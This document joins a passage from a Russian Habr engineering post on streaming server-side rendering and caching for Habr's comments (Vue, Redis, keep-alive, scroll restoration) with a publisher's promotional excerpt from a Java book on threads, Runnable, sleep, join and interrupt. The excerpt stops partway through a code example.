Ушли проблемы с долгим запуском приложения, с долгой отрисовкой и долгой загрузкой комментариев. Осталось уравнять наших пользователей в тех вопросах, когда доходило до отрисовки комментариев на клиенте, и рендерить комментарии под каждым постом.
Одна из важнейших вещей, которая влияет на ощущение скорости (именно ощущение, а не абсолютные цифры) — это то, как быстро мы можем увидеть какой-то полезный контент, будь то КДПВ или текст комментария. Достигается это за счёт устройства HTML: он изначально спроектирован так, что содержимое можно отдавать по кусочкам (стримить) и при этом всё равно получать какой-то понятный результат в процессе загрузки.
При переносе рендеринга на JavaScript эта фича теряется — все современные фреймворки рендерят контент синхронно. Некоторые применяют хитрые оптимизации вроде Reconciler, но рендеринг принципиально остаётся синхронным.
Синхронно — это плохо: пока все комментарии не отрисуются, ни одного из них видно не будет. А если совместить удобство использования JS-фреймворка и отличный UX, который нам из коробки даёт HTML?
Встречайте: стриминг-рендеринг комментариев!
Третья итерация: стриминг-рендеринг
-----------------------------------
Не самая это простая задача — заставить приложение рисоваться на клиенте так, будто грузится обычный HTML.
### Принцип работы
Все современные JS-фреймворки предлагают как минимум два варианта рендеринга HTML на сервере: синхронный (целиком одной строкой) или стриминг.
Возникла идея: а если перенести часть нагрузки с клиента обратно на сервер и сделать это точечно, только для тех мест, которые требуют больших ресурсов? Тогда бутылочным горлышком будет уже сеть и мощности сервера, а не возможности устройства.
Но как визуально повторить стриминг HTML при начальной загрузке документа, только в этот раз уже для конкретного куска приложения? На помощь пришла [статья Джейка Арчибальда](https://jakearchibald.com/2016/fun-hacks-faster-content/), который показал, как это реализовать с помощью iframe. Трюк заключался в том, чтобы обновлять документ iframe, но при этом сам элемент отрисовки переместить в основной документ. Визуально это ничем не будет отличаться от обычной загрузки документа.
К сожалению, метод с iframe на сегодняшний день перестал работать в некоторых браузерах и сильно тормозил в Chrome. Мы не теряли надежду и попробовали ход конём: [создать новый документ в нашем документе](https://developer.mozilla.org/ru/docs/Web/API/DOMImplementation/createHTMLDocument).
*Разработчик Хабра предлагает новый метод рендеринга*
Удивительно, этот метод заработал стабильно во всех браузерах, причём быстро. Но для полноценного перехода на стриминг этого было всё ещё недостаточно.
Камнем преткновения стала проблема гидратации разметки на клиенте: после отрисовки нужно взаимодействовать с комментариями. Эту проблему мы решили путём долгого и скрупулёзного изучения исходников Vue — оказалось, что можно принудительно гидрировать элемент, если в нужный момент заменить скрытое свойство `_vnode`. Именно с помощью этого свойства Vue способен определить, нужно ли гидрировать текущий компонент. Если вместо VNode (структура виртуального DOM) там находится реальный DOM-элемент, то Vue запускает процесс гидратации. В нашем случае мы подставили в `_vnode` элемент с комментариями, который только что закончил стримиться.
Через несколько недель был готов proof of concept, наглядно показывающий преимущества стриминга над обычным рендерингом на клиенте:
### Кэширование
Доработка кэширования комментариев стала следующим шагом и позволила вывести производительность до желаемых показателей.
До этого комментарии кэшировались только для гостей и ненадолго. Фреймворк, который мы используем для отрисовки интерфейса (Vue), предоставляет возможность кэшировать наше приложение по кусочкам (с помощью опции [serverCacheKey](https://ssr.vuejs.org/guide/caching.html#component-level-caching)), что отлично подошло для улучшений.
Мы добавили уникальный ключ состояния в API получения комментариев и стали использовать его в `serverCacheKey`. Redis взял на себя задачи сервиса хранения кэша. Это самое простое и надёжное решение: например, с ним нет никаких проблем использовать один и тот же кэш на разных инстансах SSR. Redis также существенно сократил ответ сервера для стриминга комментариев: при наличии ключа для кэша в запросе не нужно даже стартовать приложение, достаточно сразу начать стримить кэш. Таким образом, получилось отделить кэш комментариев от отрисовки всего остального интерфейса, что важно для длительного хранения кэша.
Но радоваться было рано. Мы сразу же наткнулись на вторую настоящую проблему в Computer Science: инвалидацию кэшей. Дело в том, что до этого комментарии для авторизованных пользователей и для гостей рисовались по-разному. Такой подход вводил существенные ограничения в применении кэширования, потому что нужно было выбирать между двумя плохими вариантами: либо оставлять авторизованных пользователей без кэширования, либо описывать все виды состояний, которые могут быть у комментариев.
Мы взвесили эти варианты, поняли, что ни один из них нас не устраивает, и принялись брейнштормить, как решать эту проблему.
Решение вскоре нашлось: можно всегда рисовать комментарии в представлении для гостя, а интерфейс для пользователя достраивать уже на клиенте. Так мы отвязали наши кэши от сессии пользователя и сделали их общими для всех пользователей независимо от их роли. Такой подход хорошо сочетался с уже описанным vue-lazy-hydration: перерисовывались только те элементы интерфейса, которые пользователь видит своими глазами.
### Сопутствующие проблемы
Внедрение стриминг-рендера для комментариев не прошло безболезненно. Всплыли ещё куда более интересные проблемы.
#### Якорные ссылки
Поведение якорных ссылок пользователю хорошо известно: сначала загружается весь документ, затем браузер сам скроллит до нужного элемента. Но с переходом на стриминг этот механизм сломался: такого поведения «из коробки» нет, потому что на момент перехода по такой якорной ссылке комментарии попросту отсутствуют.
На первый взгляд, у этой проблемы есть очевидное решение: прокручивать к нужному элементу программно, когда все комментарии будут загружены. Но, к сожалению, это противоречит сути стриминга: чтение можно начать, не дожидаясь того, как вся страница будет загружена. Пусть пользователь находится где-нибудь посередине страницы, когда загрузка будет завершена. Если в этот момент проскроллить страницу до комментария, куда вела якорная ссылка, то текущая позиция чтения будет утеряна, что может вызывать сильное раздражение у читателя. То же самое может произойти если попытаться перезагрузить страницу.
К решению этой проблемы мы подошли с другой стороны: с якорными ссылками лучше всего довериться самому браузеру. Для всех якорных ссылок сделали условие загрузки страницы только с помощью SSR. С наличием кэширования в комментариях такой подход вполне имел право на жизнь: ждать страницу статьи и комментариев с серверным рендерингом приходилось значительно меньше, а приложение Хабра стартовало уже достаточно быстро.
#### Восстановление скролла при перезагрузке страницы
Стриминг ломает ещё одно привычное поведение браузера — сохранение позиции скролла при перезагрузке страницы. Все те проблемы, что я описал выше, также актуальны и здесь. Происходит это ровно по той же причине: комментариев не существует на момент, когда браузер может восстановить скролл.
Мы не стали изобретать велосипед и снова доверились браузеру. Правда, решение этой проблемы получилось чуть сложнее, чем принудительный SSR для якорных ссылок. Нужно было понять, когда комментарии рисовать на сервере, когда — на клиенте.
На помощь пришли куки, с помощью которых сервер узнавал, что пользователь посещал эту страницу. Куки с настройкой устанавливается, когда пользователь в первый раз открывает статью, и очищается, когда он уходит с неё.
Таким образом, при первом визите статья открывалась максимально быстро. При этом для пользователя стриминг встраивался совершенно незаметно: он мог обновить страницу и продолжить чтение комментариев с того места, где остановился.
#### Неизвестная высота скролла
Один из неизбежных минусов стриминга: невозможность узнать конечную высоту скролла для всей страницы до завершения стриминга. Это становится реальной проблемой, когда комментариев так много, что ползунок скролла стремительно уменьшается. Пользоваться им становится сложно, особенно если в этот момент вы уже с ним взаимодействуете и совсем не ожидаете изменения его позиции или размера.
Чтобы решить эту проблему, мы решили ограничить высоту комментариев во время стриминга, с возможностью показать все комментарии по клику на кнопку. Такое решение добавило предсказуемости в интерфейсе. Чтобы нажать на кнопку, нужно прекратить взаимодействие со скроллом, и понятно, что это действие повлияет на скролл.
#### Навигация Назад/Вперёд
Ещё одно совершенно привычное действие для классических веб-сайтов: навигация по страницам с помощью кнопок «Вперёд» и «Назад». В SPA-режиме такое поведение по сути приходится переизобретать с помощью JS, заново описывая поведение браузера, отточенное годами. Одно из таких поведений — это восстановление позиции скролла при навигации назад/вперёд. Да, мы снова поговорим про скролл, только на этот раз проблема будет куда обширнее и сложнее.
При навигации назад/вперёд браузер использует так называемый [back/forward cache](https://web.dev/bfcache/). Если коротко: браузер держит в памяти страницы, которые вы посещали, и при навигации туда-сюда может их моментально восстановить ровно в том состоянии, в котором вы с них ушли. При переходе на SPA эта ответственность лежит на плечах самих разработчиков.
Для простых случаев этого не так уж и сложно достигнуть: необходимо хранить в памяти позицию скролла и кэш данных. Тогда при возвращении на предыдущую страницу мы отрисуем её заново, но ровно в таком же виде, в котором мы её видели в последний раз. Это отлично работает (до тех пор пока у вас нет стриминга).
Последнее, чего хочется при наличии стриминга — это заново рисовать страницу: стриминг рисует страницу не сразу, а по кусочкам. Соответственно, если необходимо восстановить скролл, то нужно дождаться момента, пока стриминг закончит свою работу и только потом пытаться скроллить до нужного места. Но это приведёт ровно к тем же проблемам, что я описал выше: пользователь может начать скроллить до того момента, как стриминг закончит работу. К тому же вновь придётся делать много лишней работы: выполнять отрисовку каждый раз, когда вставляется новый кусок комментариев, строить VDOM-дерево, гидрировать видимую часть комментариев и так далее.
К счастью, всего этого можно избежать, если использовать компонент [keep-alive](https://ru.vuejs.org/v2/guide/components-dynamic-async.html#keep-alive-%D1%81-%D0%B4%D0%B8%D0%BD%D0%B0%D0%BC%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%BC%D0%B8-%D0%BA%D0%BE%D0%BC%D0%BF%D0%BE%D0%BD%D0%B5%D0%BD%D1%82%D0%B0%D0%BC%D0%B8), встроенный во Vue. Он хранит в памяти элемент и состояние компонента, даже когда он исчезает из VDOM, и восстанавливает его, когда он туда возвращается. Мы выборочно применили его для страницы со статьёй и получили желаемый эффект: статья и комментарии остаются ровно в том же состоянии если к ним вернуться через навигацию назад\вперёд.
Радость была недолгой. Как станет ясно дальше: чтобы keep-alive работал в приложении без изъянов, компоненты нужно изначально проектировать с учётом наличия keep-alive.
Сначала внезапно стал пропадать кэш страницы. После многочасовых сессий отладки стало понятно, что те компоненты, которые лежат в кэше keep-alive*,* **продолжают работать**. Это значит, что будут пересчитываться вычисляемые свойства, [вотчеры](https://ru.vuejs.org/v2/guide/computed.html#%D0%92%D1%8B%D1%87%D0%B8%D1%81%D0%BB%D1%8F%D0%B5%D0%BC%D1%8B%D0%B5-%D1%81%D0%B2%D0%BE%D0%B9%D1%81%D1%82%D0%B2%D0%B0-%D0%B8-%D1%81%D0%BB%D0%B5%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5). В целом этот компонент ничем не будет отличаться от обычного компонента вне keep-alive, просто его элемент не будет отображаться в документе.
Идентификатор статьи, который брался из параметров текущего роута, был одним из таких вычисляемых свойств. Естественно, когда мы заходили в другую статью, это свойство также рассчитывалось и для старой статьи, которая лежала в кэше keep-alive. Это и приводило к сбросу кэша: кэшированный элемент уже не совпадал с новым VDOM, который сгенерировал компонент.
Решение оказалось простым: вместо использования реактивных свойств роута нужно передать параметры текущего роута через пропсы (входные параметры компонента). Тогда они будут зафиксированы для этой страницы, даже если мы перейдём на такую же с другими параметрами.
Вторая проблема заключалась в том, что обработчики событий в скрытых компонентах продолжали работать. В том числе работали и глобальные обработчики событий, например, для горячих клавиш. Это приводило к тому что горячие клавиши поста срабатывали с совершенно другой страницы.
То же самое касалось и любых вотчеров, которые могли запрашивать данные или показывать какой-то интерфейс при изменении глобального состояния. Для таких случаев во Vue предусмотрен флаг `_inactive`, который сигнализирует о том, что компонент скрыт и лежит в кэше keep-alive. Пришлось добавить этот флаг во все участки кода, где мы полагались на глобальное состояние или глобальные обработчики событий.
В итоге от keep-alive создалось двоякое ощущение: можем эффективно решить проблему навигации назад\вперёд, но сложность компонентов и ad-hoc решений из-за этого постоянно повышается. На сегодняшний день мы продолжаем искать замену keep-alive на что-то более удачное.
### Первые результаты
Казалось бы, стриминг должен был и в абсолютных числах показать существенное улучшение. Но тут нас ждал сюжетный поворот похлеще, чем у Шьямалана.
Стриминг работает быстрее, чем обычный SSR, но **медленнее** рендеринга на клиенте. Вот наглядный график сравнения скорости клиентского рендеринга со стримингом и SSR (оба без кэширования):
Со стримингом появляются дополнительные издержки на работу с буфером строк, [backpressure](https://nodejs.org/en/docs/guides/backpressuring-in-streams/) (как на сервере, так и на клиенте) и сетью, чего нет при классических подходах. Ну и при каждой вставке нового куска HTML нам нужно вызвать перерасчёт стилей и layout всей страницы. Если не следить за руками, то ресурсов это ест много.
Почему же мы с такой гордостью рассказываем про стриминг, если по факту для пользователей комментарии стали рисоваться медленнее? Всё потому, что когда мы пытаемся улучшить пользовательский опыт, в первую очередь нужно ориентироваться на ощущение скорости, а не на абсолютные числа.
Мы можем рисовать комментарии за 5 секунд, но эти 5 секунд пользователь будет видеть вместо них заглушку. Или комментарии будут готовы за 10 секунд, но вместо заглушки пользователь может сразу начать читать комментарии. Поэтому важно не просто оптимизировать цифры в вакууме, а именно создавать *ощущение* ускорения.
Ещё одной важной особенностью стриминга является то, что результат его работы можно эффективно кэшировать. График выше показывает ситуацию, когда мы не попали в кэш, но в реальности (графики будут дальше) стриминг будет почти всегда быстрее клиентского рендера именно из-за кэширования.
Хочу отметить, что стриминг-рендер — не панацея и подойдёт не для всех.
В первую очередь он увеличивает нагрузку на сервер: то, что раньше рендерилось на клиенте, уйдёт на сервер со всеми вытекающими последствиями. Также он может существенно увеличить объёмы трафика, которые придётся пересылать. Мы прочувствовали это на собственной шкуре, когда выкатили стриминг в первый раз и не рассчитали нагрузку на нашу инфраструктуру.
Только после существенной доработки мы оставим стриминг в продакшене. Стриминг включается только тогда, когда комментариев больше 300. Комментарии по-прежнему рендерятся тогда, когда пользователь до них доскроллил. Всё это сделано именно в рамках экономии ресурсов.
Возможно, когда-нибудь эти ограничения получится снять, если вынести стриминг-рендер в [воркер](https://developer.mozilla.org/ru/docs/Web/API/Web_Workers_API/Using_web_workers). А впрочем, это уже совсем другая история…
One more thing
--------------
Расскажем о наших неудачах в процессе поиска решений для ускорения комментариев.
### Content Visibility для всего комментария
Нам настолько понравилась скорость работы комментариев с content-visibility, что был велик соблазн использовать его для всего комментария. Тут мы наткнулись на нерешаемую проблему со скроллом: им попросту невозможно было пользоваться, так как высота комментария постоянно прыгала и не поддавалась лечению, несмотря на наши усердные попытки. К тому же это напрочь убивало переходы по якорным ссылкам, тем более — плавные переходы.
Мы извлекли чёткий урок из этой истории: не пытайтесь навесить content-visibility на элементы, высоту которых вы не знаете заранее.
### Функциональные компоненты
Так как наше приложение написано на Vue, то один из негласных способов ускорения рендеринга — [использование функциональных компонентов](https://ru.vuejs.org/v2/guide/render-function.html#%D0%A4%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D0%BE%D0%BD%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5-%D0%BA%D0%BE%D0%BC%D0%BF%D0%BE%D0%BD%D0%B5%D0%BD%D1%82%D1%8B).
Это действительно так — функциональные компоненты ускоряют отрисовку компонентов примерно на 20–30%, но такое ускорение не проходит даром. Их тяжело поддерживать — особенно если они написаны через функциональные шаблоны, как в нашем случае. Ещё хуже обстоят дела с тем, что всё состояние функционального компонента куда-то должно переместиться.
В нашем случае это был общий родитель всех комментариев. Это плохо, поскольку, к примеру, голосование за один комментарий приведёт к перерисовке вообще всех комментариев. В итоге немного оптимизировали в одном месте, но существенно деоптимизировали в другом.
В конечном счёте мы полностью отказались от функциональных компонентов и пришли к стримингу.
### Time slicing
Этот подход отличается от нашего стриминга — в слайсинге работа делится на кусочки исключительно на клиенте.
Тайм-слайсинг действительно имеет право на жизнь, но у него есть несколько существенных недостатков. Он работает ещё медленнее, чем обычный рендеринг, слабые устройства по-прежнему будут страдать. Наверное, главная его проблема — сложно разбить эту работу на равномерные куски.
Так как неизвестно, как долго будет рендериться конкретный комментарий, нет гарантий, что не будет зависаний в процессе такого рендера. В итоге опыт будет ещё хуже, чем с ожиданием полного рендера всех комментариев: мы делаем вид, что комментариями можно уже пользоваться, но интерфейс может затормозить в любой момент.
К тому же результат такого рендера невозможно закэшировать, в отличие от стриминга с сервера. Добавляем к этому все проблемы стриминг-рендера, которые нам нужно будет решить: якорные ссылки, скроллинг и так далее. Сразу станет понятным, что стриминг-рендер гораздо интереснее, чем тайм-слайсинг.
### Стриминг всей страницы
Казалось бы, это такой low hanging fruit: убираем SPA-режим из приложения и вместо синхронного SSR в готовую строку начинаем стримить нашу разметку для всех страниц. Поначалу действительно так может показаться, пока не вдаёшься в детали.
Проблема заключается в том, что не все участки приложения грузятся в том порядке, в котором они попадают на клиент. Например, заголовок страницы будет известен только тогда, когда дело дойдёт до компонента со статьёй, или появляется портал, который рисует компонент в совершенно другом участке приложения. Вот ещё один частый кейс: необходимо сделать редирект, зависящий от данных, которые приходят асинхронно.
Конечно, для всего перечисленного есть обходные пути, но они накладывают существенные ограничения на архитектуру приложения. Пока что такой сдвиг показался нам нецелесообразным.
Вторая проблема, не менее серьёзная: если во время стриминга что-то пошло не так, то из этого состояния невозможно восстановиться. Стриминг может остановиться в любом участке кода, в том числе на незакрытом теге. Непонятно, как в такой ситуации гарантированно помочь пользователю хотя бы обновить страницу.
Я уверен, что в будущем фреймворки будут сильнее фокусироваться именно на стриминге ([в React уже активно думают в эту сторону](https://github.com/reactwg/react-18/discussions/106)). В какой-то момент он станет first class citizen и все эти проблемы будут решены. Но пока что синхронный SSR — это лучшее из того, что у нас есть.
Итог
----
Напоследок покажем сравнение того, сколько занимала отрисовка страницы с 800 комментариями до оптимизации и после:
### Видео
**Демонстрация работы**
*Десктопный SSR*
*Десктопный SPA*
*Мобильный SSR*
*Мобильный SPA*
### Графики
**Наглядно**
**SSR**
| До | После |
| | |
| | |
**Клиентский рендеринг**
| До | После |
| | |
В работе принимали участие:
* **Фронтенд-команда:** Станислав Лашманов, Таиф Алимов, Виталий Сорокин, Александр Груздков
* **Бекенд-команда:** Антон Каракулов, Артём Константинов, Иван Дударев
* **Команда контроля качества:** Никита Сапун, Николай Баутин
* **Дизайн-команда:** Кира Воеводина, Степан Воеводин
* **Технический директор:** Дмитрий Колобов
* **Менеджер продукта:** Сергей Фомин
* **По текстам:** Алексей «Boomburum» Шевелев, Вииииика «The greatest» Гонгина & Анатолий Будько aka Atomlib
Если хотите/любите/умеете решать интересные задачи во блага миллионов пользователей, то обратите внимание на наши [вакансии](https://career.habr.com/companies/tm).
→ А ещё посмотрите на наш конкурс технических статей — [Технотекст 2021](https://contenting.io/2021.html).
---
А как вам работа новых комментариев? Расскажите в комментариях :) | https://habr.com/ru/post/590111/ | null | ru | null |
# Книга «Программируем на Java. 5-е межд. изд.»
[](https://habr.com/ru/company/piter/blog/700834/)Добрый день, Хаброжители!
Пополняем коллекцию O'Reilly.
Неважно, кто вы – разработчик ПО или пользователь, в любом случае вы слышали о языке Java. В этой книге вы на конкретных примерах изучите основы Java, API, библиотеки классов, приемы и идиомы программирования. Особое внимание авторы уделяют построению реальных приложений.
Вы освоите средства управления ресурсами и исключениями, а также познакомитесь с новыми возможностями языка, появившимися в последних версиях Java.
• Программируйте на Java с использованием компилятора, интерпретатора и других инструментов.
• Исследуйте средства управления потоками и параллельной обработки.
• Изучайте обработку текста и мощные API.
• Создавайте приложения и службы на базе современных сетевых коммуникаций или веб-технологий.
**Кому пригодится эта книга**
Эта книга написана для профессионалов в области информационных технологий, для студентов, технических специалистов и «финских хакеров». Она будет полезна всем, кому нужен практический опыт работы с Java, особенно с целью создания реальных приложений. Кроме того, книгу можно использовать в качестве экспресс-курса по объектно-ориентированному программированию, сетевым приложениям и пользовательским интерфейсам.
В процессе изучения Java вы освоите эффективный и практичный подход к разработке программного обеспечения, началом которого станет глубокое понимание основ языка Java и его API.
На первый взгляд Java имеет много общего с языками C и C++, и если у вас есть опыт программирования на одном из них, то вам будет проще изучить Java. Но если у вас нет такого опыта, не огорчайтесь. Не надо уделять излишнее внимание синтаксическому сходству между Java и C или C++. Во многих отношениях Java ближе к более динамическим языкам, таким как Smalltalk и Lisp. Хорошо, если вы уже знаете другие объектно-ориентированные языки, но в этом случае вам придется, скорее всего, пересмотреть некоторые представления и изменить некоторые привычки. Считается, что язык Java намного проще таких языков, как C++ и Smalltalk. Если вы хорошо учитесь на коротких примерах и на собственном опыте, то эта книга должна вам понравиться.
В конце книги мы будем рассматривать Java в контексте веб-приложений, веб-служб и обработки запросов, поэтому вы должны хотя бы в общих чертах знать, как устроены браузеры, серверы и документы.
Класс Thread и интерфейс Runnable
---------------------------------
Выполняемый код в Java всегда связан с объектом Thread, начиная с главного метода, который запускается виртуальной машиной Java для старта вашего приложения. Новый поток порождается при создании экземпляра класса java.lang.Thread. Объект Thread представляет реальный поток в интерпретаторе Java и служит своего рода дескриптором для управления им и для координации его выполнения. С его помощью вы можете запустить поток, дождаться завершения потока, заставить его приостановиться на некоторое время или прервать его выполнение. Конструктор класса Thread получает информацию о том, где поток должен начать свое выполнение. На концептуальном уровне нам хотелось бы просто сообщить конструктору, какой метод должен выполняться. Это можно сделать несколькими способами; Java 8 поддерживает ссылки на методы, которые позволяют это сделать. Но сейчас мы выберем обходной путь и воспользуемся интерфейсом java.lang.Runnable для создания или пометки объекта, содержащего «исполняемый» метод. Интерфейс Runnable определяет один метод общего назначения run():
```
public interface Runnable {
abstract public void run();
}
```
Каждый поток начинает свое существование с выполнения метода run() в объекте Runnable — «целевом объекте», переданном конструктору потока. Метод run() может содержать любой код, но этот метод должен быть открытым, не получать аргументов, не иметь возвращаемого значения и не выдавать проверяемых исключений.
Любой класс, содержащий подходящий метод run(), может объявить, что он реализует интерфейс Runnable. Тогда экземпляр этого класса становится исполняемым методом, который может служить целью нового потока. Если вы не хотите включать метод run() прямо в объект (а очень часто это бывает нежелательно), вы всегда можете создать класс-адаптер, который сыграет роль Runnable. В этом случае метод run() адаптера может вызвать любой нужный метод после запуска потока. Примеры таких решений будут приведены далее.
#### Создание и запуск потоков
Только что созданный поток бездействует, пока вы не приведете его в действие вызовом метода start(). Тогда поток «просыпается» и переходит к выполнению метода run() целевого объекта. Метод start() может быть вызван только один раз за жизненный цикл потока. После того как поток будет запущен, он продолжает выполняться, пока метод run() целевого объекта не вернет управление (или пока не выдаст непроверяемое исключение). У метода start() есть парный метод stop(), который безвозвратно уничтожает поток. Тем не менее этот метод считается устаревшим и пользоваться им не рекомендуется. Вскоре мы объясним причину и приведем примеры более корректной остановки потоков. Также мы рассмотрим некоторые методы, которые могут использоваться для контроля за выполнением потока.
Рассмотрим пример. В классе Animator реализуется метод run(), управляющий циклом прорисовки, который служит в нашей игре для обновления Field:
```
class Animator implements Runnable {
boolean animating = true;
public void run() {
while ( animating ) {
// Переместить яблоки на один "кадр"
// Перерисовать поле
// Сделать паузу
...
}
}
}
```
Чтобы его использовать, мы создаем объект Thread, передаем ему экземпляр Animator как целевой объект и вызываем его метод start(). Все эти действия можно выполнить явно:
```
Animator myAnimator = new Animator();
Thread myThread = new Thread(myAnimator);
myThread.start();
```
Здесь создается экземпляр класса Animator, который передается в аргументе конструктора в myThread. Как показано на рис. 9.1, при вызове метода start() объект myThread начинает выполнять метод run() класса Animator. Вперед!
**Естественное создание потока**
Интерфейс Runnable позволяет создать произвольный объект и назначить его целевым для потока, как было сделано в предыдущем примере. Это самый важный случай общего применения класса Thread. В большинстве ситуаций, в которых возникает необходимость использования потоков, создается класс (возможно, простой класс-адаптер), реализующий интерфейс Runnable.
Тем не менее надо представить и другой способ создания потоков. В этом варианте целевой класс определяется как субкласс типа, который уже поддерживает Runnable. Оказывается, сам класс Thread для удобства реализует интерфейс Runnable; он содержит метод run(), который можно напрямую переопределить в соответствии с вашими целями:
```
class Animator extends Thread {
boolean animating = true;
public void run() {
while ( animating ) {
// Рисование в окне
...
}
}
}
```
Основа класса Animator выглядит примерно так же, как прежде, за исключением того, что наш субкласс теперь стал субклассом Thread. В соответствии с этой схемой конструктор по умолчанию класса Thread назначает самого себя целью, то есть по умолчанию Thread выполняет собственный метод run() при вызове метода start(), как показано на рис. 9.2. Теперь наш субкласс может просто переопределить метод run() из класса Thread. (Сам класс Thread просто определяет пустой метод run().)
Затем мы создаем экземпляр класса Animator и вызываем его метод start() (который также наследуется от Thread):
```
Animator bouncy = new Animator();
bouncy.start();
```
Также можно приказать объекту Animator запускать его поток при создании:
```
class Animator extends Thread {
Animator () {
start();
}
...
}
```
Здесь объект Animator просто вызывает свой метод start() при создании экземпляра. (Вероятно, лучше запускать и останавливать объекты после их создания, вместо того чтобы полагаться на запуск потоков как на скрытый побочный эффект создания объекта, но для примера сойдет.)
Может показаться, что субклассирование Thread позволяет удобно упаковать воедино поток и его целевой метод run(). Тем не менее это решение не всегда оказывается лучшим с точки зрения проектирования. Если вы субклассируете Thread для реализации потока, вы тем самым заявляете, что вам нужен новый тип объекта, являющийся разновидностью Thread, который предоставляет весь открытый API класса Thread. Заманчиво выглядит идея взять объект, основной задачей которого является выполнение задачи, и превратить его в Thread, но реальные ситуации, в которых вы хотите создать субкласс Thread, встречаются не очень часто. Обычно бывает более естественно формировать структуру классов на основании требований вашей программы и использовать Runnable, чтобы связать выполнение с логикой вашей программы.
Управление потоками
-------------------
Мы уже показали, как использовать метод start() для запуска выполнения нового потока. Существует ряд других методов экземпляров для явного управления выполнением потока.
* Статический метод Thread.sleep() приостанавливает на заданный период времени (с некоторой точностью) поток, выполняемый в настоящий момент; при этом не расходуется (или почти не расходуется) процессорное время.
* Методы wait() и join() координируют выполнение двух и более потоков. Они будут подробно рассмотрены при обсуждении синхронизации потоков далее в этой главе.
* Метод interrupt() возобновляет поток, приостановленный операцией sleep() или wait() либо заблокированный иным способом в продолжительной операции ввода-вывода.
#### Устаревшие методы
Также необходимо упомянуть о трех устаревших методах управления потоками: stop(), suspend() и resume(). Метод stop() является парным по отношению к start(); он уничтожает поток. Методы start() и stop() могут вызываться только один раз за весь жизненный цикл потока. С другой стороны, устаревшие методы suspend() и resume() использовались для произвольной приостановки и последующего перезапуска потока.
И хотя эти устаревшие методы все еще поддерживаются в Java (и скорее всего, будут поддерживаться всегда), их не надо использовать при разработке нового кода. Проблема stop() и suspend() заключается в том, что эти методы перехватывают управление над выполнением потоков жестко и некоординированно. Это усложняет программирование; приложение не всегда может предвидеть возможное прерывание его выполнения в любой точке и корректно восстановиться после него. Более того, когда управление потоком перехватывается одним из этих способов, исполнительная система Java должна освободить все свои внутренние блокировки, использованные для синхронизации потоков. Это может привести к неожиданному поведению, а в случае вызова метода suspend(), который не освобождает эти блокировки, легко может привести к взаимной блокировке.
Лучший способ управления выполнением потока (требующий чуть больше работы с вашей стороны) основан на включении в код потока простой логики, использующей переменные-мониторы (если эти переменные относятся к логическому типу, они иногда называются «флагами») — возможно, в сочетании с методом interrupt(). Эта логика позволяет «разбудить» приостановленный поток. Иначе говоря, чтобы заставить поток прервать или продолжить выполнение того, чем он занимается в настоящее время, следует вежливо попросить, вместо того чтобы неожиданно выдергивать ковер у него из-под ног. В примерах этой книги так или иначе используется именно этот способ.
#### Метод sleep()
Часто требуется приказать потоку прервать выполнение, или «заснуть», на фиксированный промежуток времени. Пока поток приостановлен или иным способом блокируется от получения ввода, он не потребляет процессорное время и не конкурирует с другими потоками за вычислительные ресурсы. Для этого можно вызвать статический метод Thread.sleep(), который влияет на текущий выполняемый поток. Вызов заставляет поток перейти в состояние бездействия на заданное количество миллисекунд:
```
try {
// Текущий поток
Thread.sleep( 1000 );
} catch ( InterruptedException e ) {
// Кто-то преждевременно нас разбудил
}
```
Метод sleep() может выдать исключение InterruptedException, если он будет прерван другим потоком в результате вызова метода interrupt() (см. далее). Как было показано выше, поток может перехватить это исключение и воспользоваться возможностью для выполнения некоторых действий (например, проверить переменную, чтобы выяснить, надо ли завершаться) или же выполнить некоторую подготовку, а затем перейти в состояние приостановки.
#### Метод join()
Наконец, если операция должна координироваться с другим потоком (а именно дожидаться, пока он завершит свою работу), вы можете использовать метод join(). Вызов метода join() заставляет вызывающую сторону заблокироваться до завершения целевого потока. Также можно вызвать join() с передачей продолжительности ожидания в миллисекундах. Это очень примитивная форма синхронизации потока. В Java есть более универсальные и мощные механизмы координации активности потоков, включая методы wait() и notify(), а также высокоуровневые API из пакета java.util.concurrent. Эти темы вам придется изучать в основном самостоятельно, но отметим, что язык Java упростил написание многопоточных приложений по сравнению со многими своими предшественниками.
#### Метод interrupt()
Метод interrupt() упоминался как средство возобновления работы потока, бездействующего из-за вызова sleep(), wait() или долгой операции ввода-вывода. Любой поток, не работающий постоянно (не находящийся в «жестком цикле»), должен периодически входить в одно из этих состояний, поэтому в какой-то точке кода поток должен получить приказ остановиться. При прерывании потока устанавливается его флаг статуса прерывания (interrupt status). Это может произойти в любой момент, независимо от того, бездействует поток или нет. Поток может проверить это состояние методом isInterrupted(). Другая форма метода — isInterrupted(boolean) — получает логическое значение, которое указывает, надо ли сбросить статус прерывания. Таким образом, поток может использовать статус прерывания как флаг и как сигнал.
Во всяком случае, предполагаемая функциональность метода именно такова. Но разработчикам Jаva с самого начала не удавалось добиться его корректной работы во всех возможных ситуациях. В первых виртуальных машинах Java (до версии 1.1) метод interrupt() вообще не работал. И даже в более новых версиях все еще есть проблемы с прерыванием вызовов ввода-вывода. Под «вызовом ввода-вывода» имеется в виду, что приложение блокируется в методе read() или write() на время перемещения байтов из источника (из файла, из сети) или в источник. В таком случае при выполнении interrupt() должно выдаваться исключение InterruptedIOException. Но этот механизм не всегда работает надежно. В свое время решения этой проблемы ожидали от нового фреймворка ввода-вывода java.nio, представленного в Java 1.4. При прерывании потока, связанного с операцией NIO, он «просыпается» и при этом автоматически закрывается поток ввода-вывода (I/O stream), называемый «каналом». (За дополнительной информацией о пакете NIO обращайтесь к главе 11.)
#### Снова об анимации
Как упоминалось в начале главы, одной из стандартных задач при разработке графических интерфейсов становится управление анимациями. Иногда анимации — это лишь маленькие украшения интерфейса, а в других случаях они занимают центральное место в приложении — как в нашей игре с бросанием яблок. Известны разные способы реализации анимаций. Мы рассмотрим использование простых потоков, метода sleep() и таймера в сочетании с покадровой прорисовкой фаз движения. Это популярный способ, простой для понимания, и мы продемонстрируем его при анимации летящих яблок в нашей игре.
Мы можем использовать поток (похожий на тот, о котором шла речь в разделе «Создание и запуск потоков», с. 305) для создания неплохой анимации. Основная идея заключается в том, чтобы нарисовать в нужных местах все анимируемые объекты, сделать паузу и переместить их на новые места, а затем все повторить. Для начала посмотрим, как нарисовать некоторые объекты игрового поля без анимации.
```
// Из класса Field...
protected void paintComponent(Graphics g) {
g.setColor(fieldColor);
g.fillRect(0,0, getWidth(), getHeight());
physicist.draw(g);
for (Tree t : trees) {
t.draw(g);
}
